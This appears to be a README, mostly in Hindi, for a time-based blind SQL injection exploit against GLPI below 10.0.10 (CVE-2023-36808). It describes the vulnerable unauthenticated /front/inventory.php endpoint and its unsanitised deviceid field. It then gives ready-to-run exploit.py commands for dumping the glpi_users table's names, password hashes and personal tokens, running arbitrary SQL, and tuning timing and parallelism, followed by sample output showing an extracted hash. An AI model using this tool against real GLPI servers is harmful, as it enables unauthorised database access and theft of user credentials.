
समय-आधारित ब्लाइंड SQL इंजेक्शन एक्सप्लॉइट GLPI < 10.0.10 में CVE-2023-36808 के लिए। बाइनरी सर्च ऑप्टिमाइज़ेशन के साथ अनऑथेंटिकेटेड XML इन्वेंट्री एंडपॉइंट के माध्यम से उपयोगकर्ता क्रेडेंशियल्स और डेटाबेस सामग्री निकालता है।
GLPI संस्करण < 10.0.10 एक अप्रमाणित XML इन्वेंटरी एंडपॉइंट को /front/inventory.php पर उजागर करते हैं।
<deviceid> फ़ील्ड को बिना सैनिटाइज़ेशन के सीधे SQL क्वेरी में इंजेक्ट किया जाता है:
SELECT id FROM glpi_agents WHERE deviceid = '<INJECT>'
कोई प्रमाणीकरण आवश्यक नहीं है। यह भेद्यता ब्लाइंड SQL इंजेक्शन के माध्यम से पूर्ण डेटाबेस पढ़ने की पहुँच की अनुमति देती है।
यह स्क्रिप्ट सामान्य टूल्स की तुलना में डेटा को काफी तेज़ी से निकालने के लिए समय-आधारित ब्लाइंड इंजेक्शन और बाइनरी खोज का उपयोग करती है।
pip install -r requirements.txt
# Dump the full glpi_users table (name, password hash, personal_token)
python3 exploit.py http://<TARGET>/glpi
# Custom SQL query
python3 exploit.py http://<TARGET>/glpi --query "SELECT @@version"
# Tune timing (lower sleep = faster, increase if you get wrong results)
python3 exploit.py http://<TARGET>/glpi --sleep 0.3
# Increase parallel request cap (default 2, raise on high-latency remote targets)
python3 exploit.py http://<TARGET>/glpi --parallel 4
[*] CVE-2023-36808 - GLPI Unauthenticated SQLi
[*] Target : http://10.0.0.1/glpi/front/inventory.php
[*] Sleep : 0.5s Threshold: 0.35s Parallel: 2
[+] Target reachable
[+] Injection confirmed
[*] User 1/7
name glpi
password $2y$10$xN.12pQxSLlQdMJzP26EWe...
personal_token xxxx
...